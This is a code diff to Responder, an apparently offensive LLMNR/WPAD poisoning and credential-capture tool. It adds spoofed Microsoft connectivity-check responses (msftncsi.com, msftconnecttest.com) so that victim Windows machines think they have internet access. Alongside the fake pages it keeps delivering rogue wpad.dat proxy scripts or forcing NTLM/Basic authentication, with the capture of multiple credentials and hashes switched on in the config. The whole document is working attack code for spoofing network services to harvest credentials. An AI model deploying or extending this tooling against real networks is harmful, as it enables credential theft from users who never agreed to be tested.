diff --git a/Responder.conf b/Responder.conf index b34d9a1..4d6fc92 100644 --- a/Responder.conf +++ b/Responder.conf @@ -63,6 +63,7 @@ CaptureMultipleCredentials = On ; domain\popo, domain\zozo. Recommended value: On, capture everything. CaptureMultipleHashFromSameHost = On + [HTTP Server] ; Set to On to always serve the custom EXE @@ -73,7 +74,15 @@ Serve-Exe = Off ; Set to On to serve the custom HTML if the URL does not contain .exe ; Set to Off to inject the 'HTMLToInject' in web pages instead -Serve-Html = Off +Serve-Html = On + +; Set to On to answer connection tests to "http://www.msftncsi.com/ncsi.txt" (Win 7, tested) +; and to "http://www.msftconnecttest.com/connecttest.txt" (Win 10, untested) while serving the custom HTML file (Serve-Html = on) +Serve-Html-Simulate-Internet = On + +; Set to On to answer connection tests to "http://*/wpad.dat" with custom 'WPADScript' or force auth +; on wpad.dat if '-F on' command line parameter is given while serving the custom HTML file (Serve-Html = on) +Serve-Html-Provide-WPAD-anyway = On ; Custom HTML to serve HtmlFilename = files/AccessDenied.html diff --git a/packets.py b/packets.py index 9820e26..db3e468 100644 --- a/packets.py +++ b/packets.py @@ -258,6 +258,48 @@ class IIS_Basic_401_Ans(Packet): ]) ##### Proxy mode Packets ##### +class MSFTNCSI(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.0 200 OK\r\n"), + ("ContentLen", "Content-Length: 14\r\n"), + #("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Connection", "Connection: close\r\n"), + ("Type", "Content-Type: text/plain\r\n"), + ("Cache-Control", "Cache-Control: max-age=30, must-revalidate\r\n"), + ("CRLF", "\r\n"), + ("Payload", "Microsoft NCSI"), + ]) + +class MSFTCONNECTTEST(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentLen", "Content-Length: 22\r\n"), + ("Type", "Content-Type: text/plain\r\n"), + ("LastMod", "Last-Modified: Fri, 04 Mar 2016 06:55:03 GMT\r\n"), + ("Etag", "ETag: \"0x8D343F9E96C9DAC\"\r\n"), + ("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"), + ("MSReqID", "x-ms-request-id: 7630d7d6-0001-001a-6bce-85a6cb000000\r\n"), + ("MSReqVer", "x-ms-version: 2009-09-19\r\n"), + ("MSReqModTime", "x-ms-meta-CbModifiedTime: Tue, 01 Mar 2016 21:41:22 GMT\r\n"), + ("MSReqLeaseStat", "x-ms-lease-status: unlocked\r\n"), + ("MSReqBlobType", "x-ms-blob-type: BlockBlob\r\n"), + ("EcnP", "X-ECN-P: RD0003FF839962\r\n"), + ("ACExpHeaders", "Access-Control-Expose-Headers: X-MSEdge-Ref\r\n"), + ("ACAllOrigin", "Access-Control-Allow-Origin: *\r\n"), + ("TiAllOrigin", "Timing-Allow-Origin: *\r\n"), + ("Cid", "X-CID: 7\r\n"), + ("CCC", "X-CCC: US\r\n"), + ("EdgeRef", "X-MSEdge-Ref: Ref A: 4C37FC8626A14EDDAFBCF806D1A0744A Ref B: FRA20EDGE0321 Ref C: Tue Feb 21 02:19:45 2017 PST\r\n"), + ("EdgeRefOrigin", "X-MSEdge-Ref-OriginShield: Ref A: 07C5D7B28F3742DF958D324489825D9D Ref B: AMS04EDGE0319 Ref C: Fri Feb 17 19:46:53 2017 PST\r\n"), + # fixed date here + ("Date", "Date: Tue, 21 Feb 2017 10:19:45 GMT\r\n"), + # it has to be tested of this could be changed to close + ("Connection", "Connection: keep-alive\r\n"), + ("CRLF", "\r\n"), + ("Payload", "Microsoft Connect Test"), + ]) + class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), diff --git a/servers/HTTP.py b/servers/HTTP.py index 4a3d3ca..6ef0e3d 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -21,7 +21,7 @@ from utils import * from packets import NTLM_Challenge from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer -from packets import WPADScript, ServeExeFile, ServeHtmlFile +from packets import WPADScript, ServeExeFile, ServeHtmlFile, MSFTNCSI, MSFTCONNECTTEST # Parse NTLMv1/v2 hash. @@ -177,15 +177,49 @@ def PacketSequence(data, client, Challenge): NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) + # simulate internet connectivity + if settings.Config.Serve_Html_Simulate_Internet: + # ToDo: Add more connectivity tests (iOS, OSX, Android) + + # Win7 check if "http://www.msftncsi.com/ncsi.txt" is requested + if re.search(r'(/ncsi.txt HTTP)', data) and re.search(r'(www.msftncsi.com)', data): + print text("[HTTP] Serving MSFTNCSI to %s" % client) + Buffer = MSFTNCSI() + # Buffer.calculate() + return str(Buffer) + # Win10 check if "http://www.msftconnecttest.com/connecttest.txt" is requested + if re.search(r'(/connecttest.txt HTTP)', data) and re.search(r'(www.msftconnecttest.com)', data): + print text("[HTTP] Serving MSFTCONNECTTEST to %s" % client) + Buffer = MSFTCONNECTTEST() + # Buffer.calculate() + return str(Buffer) + + # Serve the .exe if needed if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)): return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) - # Serve the custom HTML if needed - if settings.Config.Serve_Html: - return RespondWithFile(client, settings.Config.Html_Filename) - + # ToDo: WPAD_Custom should only be set if 'WPADScript' is provided in config, but + # omitting 'WPADScript' isn't allowed and crashes Responder's ConfigParser WPAD_Custom = WpadCustom(data, client) + + # Serve the custom HTML file if needed, keep wpad.dat delivery if configured + if settings.Config.Serve_Html: + # if Serve_Html_Provide_WPAD_Anyway is enabled, but Force_WPAD_Auth disabled we provide customWPAD + # if Serve_Html_Provide_WPAD_Anyway is enabled and Force_WPAD_Auth enabled we provide nothing + # to pass execution to NTLM_auth/BASIC_auth + if re.search(r'(/wpad.dat|/*\.pac)', data) and settings.Config.Serve_Html_Provide_WPAD_Anyway: + if not settings.Config.Force_WPAD_Auth: + if WPAD_Custom: # custom WPAD available (Note: not realy optional, see comment on WPAD_Custom) + return WPAD_Custom + else: # custom WPAD not available, provide HTML file (never reached, see comment on WPAD_Custom) + return RespondWithFile(client, settings.Config.Html_Filename) + # else: 'Force_WPAD_Auth' set, pass execution to NTLM_auth/BASIC_auth (do nothing here) + + # Serve_Html_Provide_WPAD_Anyway is disabled or not a request to wpad.dat serve HTML file + else: + return RespondWithFile(client, settings.Config.Html_Filename) + # Webdav if ServeOPTIONS(data): return ServeOPTIONS(data) diff --git a/settings.py b/settings.py index fa7c9e8..77748c6 100644 --- a/settings.py +++ b/settings.py @@ -128,9 +128,13 @@ class Settings: self.Serve_Exe = self.toBool(config.get('HTTP Server', 'Serve-Exe')) self.Serve_Always = self.toBool(config.get('HTTP Server', 'Serve-Always')) self.Serve_Html = self.toBool(config.get('HTTP Server', 'Serve-Html')) + self.Serve_Html_Simulate_Internet = self.toBool(config.get('HTTP Server', 'Serve-Html-Simulate-Internet')) + self.Serve_Html_Provide_WPAD_Anyway = self.toBool(config.get('HTTP Server', 'Serve-Html-Provide-WPAD-anyway')) + self.Html_Filename = config.get('HTTP Server', 'HtmlFilename') self.Exe_Filename = config.get('HTTP Server', 'ExeFilename') self.Exe_DlName = config.get('HTTP Server', 'ExeDownloadName') + # ToDo: WPADScript should be optional self.WPAD_Script = config.get('HTTP Server', 'WPADScript') self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')